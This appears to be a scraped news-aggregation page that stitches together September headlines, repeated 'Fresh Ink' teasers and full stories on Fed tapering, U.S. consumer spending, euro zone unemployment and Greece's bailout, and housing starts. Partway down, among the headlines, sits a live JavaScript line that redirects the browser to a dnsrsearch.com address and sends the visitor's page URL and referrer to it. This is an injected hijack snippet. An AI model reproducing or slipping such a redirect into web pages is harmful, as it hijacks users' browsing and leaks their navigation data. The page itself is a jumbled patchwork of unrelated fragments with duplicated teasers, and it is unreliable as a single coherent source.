The Chatter for Sunday, September 22

Readers discuss the pros and cons of telecommuting.

The Supreme Court has a chance to save a life and clarify how it views its power to stop unjust executions.

The Chatter for Sunday, September 15

Humanitarian intervention is facing a crisis of legitimacy, writes Michael Ignatieff.

House Republicans take action on the biggest, wettest and most ambitious memorial to President Ronald Reagan.

The Chatter for Sunday, September 8

The old idea that homosexuality is an illness to be “cured” may at last be headed for the trash heap.

The perils of driving a stick shift in rural France.

Today's Economist: The Case Against Tapering in September

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

The Chatter for September 1, 2013

Preparing them for topics they’ve heard about but don’t understand.

A new strategy for protecting access to the ballot box is coming into focus.

Fresh Ink: Inside Today's Legal - September 27

Can't find a paper, but want a sneak peek at the stories inside The Legal this morning? Consider this your personal delivery service.

Tapering of Stimulus Could Start as Soon as September, 2 Fed Presidents Hint

Charles L. Evans, the president of the Federal Reserve Bank of Chicago, said he would not rule out the possibility that the Fed could start tapering as early as next month.

The remarks came at a breakfast with reporters in Chicago and echoed through the markets during the day, because Mr. Evans is a voting member of the Federal Open Market Committee, which sets Fed policy, and because he has generally supported more aggressive efforts to stimulate the economy in the past.

In a separate interview with Market News International, the president of the Federal Reserve Bank of Atlanta, Dennis P. Lockhart, also indicated a September move was an option. Mr. Lockhart is not a voting member of the committee, however, so his comments carry a bit less weight than those of Mr. Evans.

On Wall Street, which has benefited from the Fed’s accommodative stance, stocks dropped after the comments, and major market indexes closed lower by a little more than half a percentage point.

The Fed and its chairman, Ben S. Bernanke, have signaled that the central bank’s policy of buying $85 billion a month in government bonds and mortgage-backed securities will be wound down if the economy improves further and unemployment continues to fall.

Mr. Bernanke has said he envisions the stimulus program coming to an end by the middle of next year if unemployment falls to about 7 percent. Last Friday, the Labor Department reported that unemployment in July fell to 7.4 percent, from 7.6 percent in June.

Mr. Bernanke has not said, however, when the tapering will begin, only that the speed and timing of any easing is contingent upon continued signs of strength in the economy.

Traders and economists expect bond purchases to be reduced before the end of 2013, but opinion is divided about whether that will start as early as next month, or come as late as December.

The Fed’s ultimate decision will have wide-reaching impact. The Fed’s aggressive bond buying has helped keep long-term interests rates low; mortgage rates have risen by roughly a full percentage point since Mr. Bernanke first raised the possibility of tapering in May. In addition, the stimulus has also helped prop up the big rally on Wall Street.

While the remarks by Mr. Evans and Mr. Lockhart on Tuesday did not resolve the debate, their tone suggested that tapering was indeed on the horizon if the economy held up.

“Adjustments to asset purchases are going to be conditional on our outlook materializing,” Mr. Evans said. “It’s going to be data-dependent.”

“I do expect though that the outlook will materialize, and we are quite likely to reduce the flow purchase rate starting later this year — couldn’t tell you which month that will be — and it’s likely to wind down, over time, in a couple or a few stages,” he said.

In terms of September, Mr. Evans said, “I clearly would not rule it out, it’s going to depend on the data — the data have been not so bad.”

For his part, Mr. Lockhart, the Atlanta Fed president, also said there was plenty of wiggle room for the central bank, depending on how economic growth shaped up over the coming months.

If growth turns out to be weaker than expected, he said, a reduction in stimulus efforts could be put off.

“If we see a deterioration from this point, and I would say my more realistic fear is just a kind of ambiguous picture of mixed data that signal neither accelerating strength nor necessarily deterioration, but that kind of moping along in the middle, then I think it’s not a foregone conclusion that the asset purchase program should be removed or removed rapidly,” he said.

Dean Maki, chief United States economist at Barclays, said: “Neither Fed president was willing to commit to September nor rule it out. What this is telling us is the F.O.M.C. is keeping its options open and awaiting further data.”

Fresh Ink: Inside Today's Legal - September 21

Can't find a paper, but want a sneak peek at the stories inside The Legal this morning? Consider this your personal delivery service.

Fresh Ink: Inside Today's Legal - September 19

Can't find a paper, but want a sneak peek at the stories inside The Legal this morning? Consider this your personal delivery service.

Fresh Ink: Inside Today's Legal - September 5

Can't find a paper, but want a sneak peek at the stories inside The Legal this morning? Consider this your personal delivery service.

Fresh Ink: Inside Today's Legal - September 6

Can't find a paper, but want a sneak peek at the stories inside The Legal this morning? Consider this your personal delivery service.

Fresh Ink: Inside Today's Legal - September 5

Can't find a paper, but want a sneak peek at the stories inside The Legal this morning? Consider this your personal delivery service.

Consumer Spending Rose 0.8% in September

WASHINGTON (AP) — Americans increased their spending in September at twice the rate that their income grew, a sign of confidence in the economy. Still, consumers made up the difference by saving less for a third consecutive month, a troubling trend.

The Commerce Department said Monday that consumer spending increased 0.8 percent in September from August. That came after a 0.5 percent gain in August and was the best showing since February.

Personal income rose 0.4 percent, an improvement from a slight 0.1 percent gain in August and the best gain since March. But after adjusting for inflation and taxes, income was flat in September. That came after a 0.3 percent decline in August.

Consumer spending is important because it drives nearly 70 percent of economic activity.

A pickup in consumer spending helped lift economic growth in the July-September quarter, to a 2 percent annual rate. While that is faster than the 1.3 percent rate in the April-June period, it’s still too weak to create enough jobs to rapidly lower the unemployment rate.

Paul Dales, senior United States economist at Capital Economics, said weak income growth would most likely hold back spending in the coming months. Consumers can cut their savings by only so much, he cautioned. And if Congress fails to reach a budget deal by the end of the year, taxes will rise in January. That could also reduce consumer spending.

The spending gain in September reflected in part rising consumer confidence. The University of Michigan reported on Friday that its final consumer sentiment index for October had hit a five-year high. Falling gas prices and a slightly better job market were credited with lifting consumers’ outlook.

Still, households trimmed their savings to finance the increase in purchases, Monday’s report showed. The savings rate dropped to 3.3 percent of after-tax incomes in September, down from 3.7 percent in August and 4.1 percent in July.

Americans also paid more for gas in September. That drove an inflation gauge tied to consumer spending up 0.4 percent last month. But excluding food and energy, prices rose just 0.1 percent. Gas prices have dropped since then, which could encourage more spending elsewhere.

Euro Watch: Euro Zone Unemployment Hit New High in September

“We called on the Greek authorities to solve remaining issues so as to swiftly finalize the negotiations with the troika institutions,” the so-called Eurogroup of finance ministers said in a statement issued shortly after a scheduled conference call.

The troika, a reference to the European authorities and international lenders supervising the Greek bailout, consists of representatives from the European Commission, the International Monetary Fund and the European Central Bank.

Greece and the troika have been negotiating for weeks over an austerity budget package that would require the approval of the lenders, and be passed by the Greek Parliament, before a loan installment of €31 billion, or $40 billion, can be unlocked. Without that money, Greece could face default by the end of the month.

Greek politics continue to add uncertainty to the process. After the government on Wednesday released details of the austerity package — including raising the retirement age by two years, to 67; cutting salaries and pensions, and increasing taxes — the country’s labor unions responded by announcing a 48-hour strike next week when the parliamentary vote is expected to be held. The Democratic Left, the smallest member of Greece’s shaky three-party coalition government, has said it will not give its full support to the budget package if it includes changes to labor laws that the party opposes.

Adding to the political tension, the Parliament on Wednesday passed only narrowly a bill aimed at speeding the process of raising money by selling publicly owned Greek assets. Several members of Parliament from the Democratic Left and the other coalition partner, the Socialists, voted against the measure, and the leaders of the parties abstained. Afterward the leader of the Socialists, Evangelos Venizelos, hastily convened his party’s members of Parliament for an emergency meeting, in an apparent effort to contain dissent ahead of the vote next week on the budget package.

But Greece, in perhaps the most dire circumstances of the 17 members of the euro zone, is hardly alone in its economic problems. Data released Wednesday by the European Union indicated that euro zone unemployment set another record in September, with 18.49 million people out of work.

The jobless rate in the 17-nation currency union ticked up to 11.6 percent from 11.5 percent in August, according to Eurostat, the E.U.’s statistical agency. The August figure, which had itself been a record level for the euro zone, was revised upward from the 11.4 percent initially reported.

Meanwhile, in Portugal on Wednesday, the Parliament passed the biggest tax increases in modern Portuguese history in an effort to meet the budget targets of its European bailout program. While the nation’s center-right ruling coalition supports the tax increases, the opposition Socialists are challenging them in court.

The Eurogroup finance ministers, in their statement Wednesday on Greece, said any decision to release the next round of money “was subject to the completion of prior actions by the Greek authorities” — a reference to commitments already made by Greece to overhaul labor laws and raise the retirement age.

The group said it hoped to finish assessing Greece’s progress by Nov. 12.

“Even if the troika report has not (yet) been officially released, it seems clear that the euro zone is willing to give Greece somewhat more time for the adjustment,” Carsten Brzeski, an economist at ING Belgium, wrote in a briefing note issued Wednesday. But, he wrote, “Filling the funding gap for Greece will again require some creativity.”

Many economists still contend that without some form of debt forgiveness, Greece will ultimately have to leave the euro union.

The German finance minister, Wolfgang Schäuble, said Wednesday after the Eurogroup conference call that no decisions had been made at the meeting. He said he did not expect the next status report by Greece’s troika of lenders to be issued before Nov. 11. “There are a lot of difficult issues that still need to be resolved,” he said.

At a news conference, Mr. Schäuble said the country’s relatively strong economy and low unemployment would expand Germany’s tax receipts by €29 billion this year, for a total of €602.4 billion.

But in the European unemployment figures released Wednesday it was not Germany, with a jobless rate of 5.4 percent, that had the lowest figure. Austria, at 4.4 percent, had the lowest. Most euro zone nations are faring much worse, particularly Spain, where the jobless rate reached 25.8 percent. Close behind was Greece, at 25.1 percent in July, the most recent month for which data were available for that country.

In contrast, the United States had an unemployment rate of 7.8 percent in September, and joblessness in Britain was at 7.9 percent in the three months through August.

The euro zone economy is expected to have contracted again in the third quarter, after a 0.2 percent quarterly decline in the three months through June. With the global economy showing signs of slowing and European governments cutting spending to balance budgets, economists say the contraction could extend into next year.

David Jolly reported from Paris. Niki Kitsantonis contributed reporting from Athens, and Melissa Eddy from Berlin.

U.S. Housing Starts Up 15% in September

WASHINGTON (AP) — U.S. builders started construction on homes in September at the fastest rate since July 2008 and made plans to build even more homes in the coming months. The gains show the housing recovery is strengthening and could help the economy grow.

The Commerce Department said Wednesday that home construction rose 15 percent last month to a seasonally adjusted annual rate of 872,000. Single-family construction rose 11 percent to the fastest rate in four years. Apartment building increased 25.1 percent.

Applications for building permits, a sign of future construction, jumped nearly 12 percent to an annual rate of 894,000, also the highest since July 2008.

"If there was any doubt that the housing market was undergoing a recovery, even a modest one in the face of the terrible 2008 decline, those doubts should be erased by now," said Dan Greenhaus, chief global strategist at BTIG.

The construction rate has increased by more than 38 percent over the past 12 months.

Housing starts are now 82.5 percent above the recession low rate of 478,000 hit in April 2009. That's still well short of the 1.5 million that economists consider healthy and far below the more than 2 million built in 2007 — the peak of the housing boom. But the steady upward trend suggests builders believe the housing rebound is durable.

"This is a good report," said Patrick Newport, U.S. economist at HIS Global Insight. "It is telling us that the housing market is improving and there is no reason to think that this will not continue going forward."

Record-low mortgage rates, stable price increases and a limited supply of previously occupied homes have made newly built homes more attractive to buyers. Builder confidence is at a six-year high, according to a survey released Tuesday by the National Association of Home Builders. And the Federal Reserve's aggressive policies could push long-term interest rates even lower, making home-buying affordable for the foreseeable future.

Newport said housing starts should total 750,000 for the year. He expects starts will climb to 950,000 next year and 1.27 million in 2014. By 2015, he said home construction should reach more than 1.5 million.

He also predicts that housing will add about 0.25 percent to overall economic growth this year. If that forecast proves accurate, it will be the first year that housing has been a positive factor for economic growth in five years.

"The rest of the economy is still struggling but housing is doing better because as the population grows, we need new houses to meet that demand," Newport said.

Sales of new homes were up nearly 28 percent in August compared with the same month last year. Even with the gains, sales remain near depressed levels. Economists say more jobs and better pay are needed to help accelerate sales.

Though new homes represent less than 20 percent of the housing sales market, they have an outsize impact on the economy. Each home built creates an average of three jobs for a year and generates about $90,000 in tax revenue, according to data from the home builders group.

Construction activity rose in three of the nation's four regions. The biggest increases came in the West and South. Housing starts increased by nearly 20 percent in both regions. Construction of new homes and apartments rose 6.7 percent in the Midwest. Housing starts fell 5.1 percent in the Northeast.

Fresh Ink: Inside Today's Legal - September 24

Can't find a paper, but want a sneak peek at the stories inside The Legal this morning? Consider this your personal delivery service.

Fresh Ink: Inside Today's Legal - September 5

Can't find a paper, but want a sneak peek at the stories inside The Legal this morning? Consider this your personal delivery service.

Fresh Ink: Inside Today's Legal - September 6

Can't find a paper, but want a sneak peek at the stories inside The Legal this morning? Consider this your personal delivery service.

Fresh Ink: Inside Today's Legal - September 20

Can't find a paper, but want a sneak peek at the stories inside The Legal this morning? Consider this your personal delivery service.

Fresh Ink: Inside Today's Legal - September 24

Can't find a paper, but want a sneak peek at the stories inside The Legal this morning? Consider this your personal delivery service.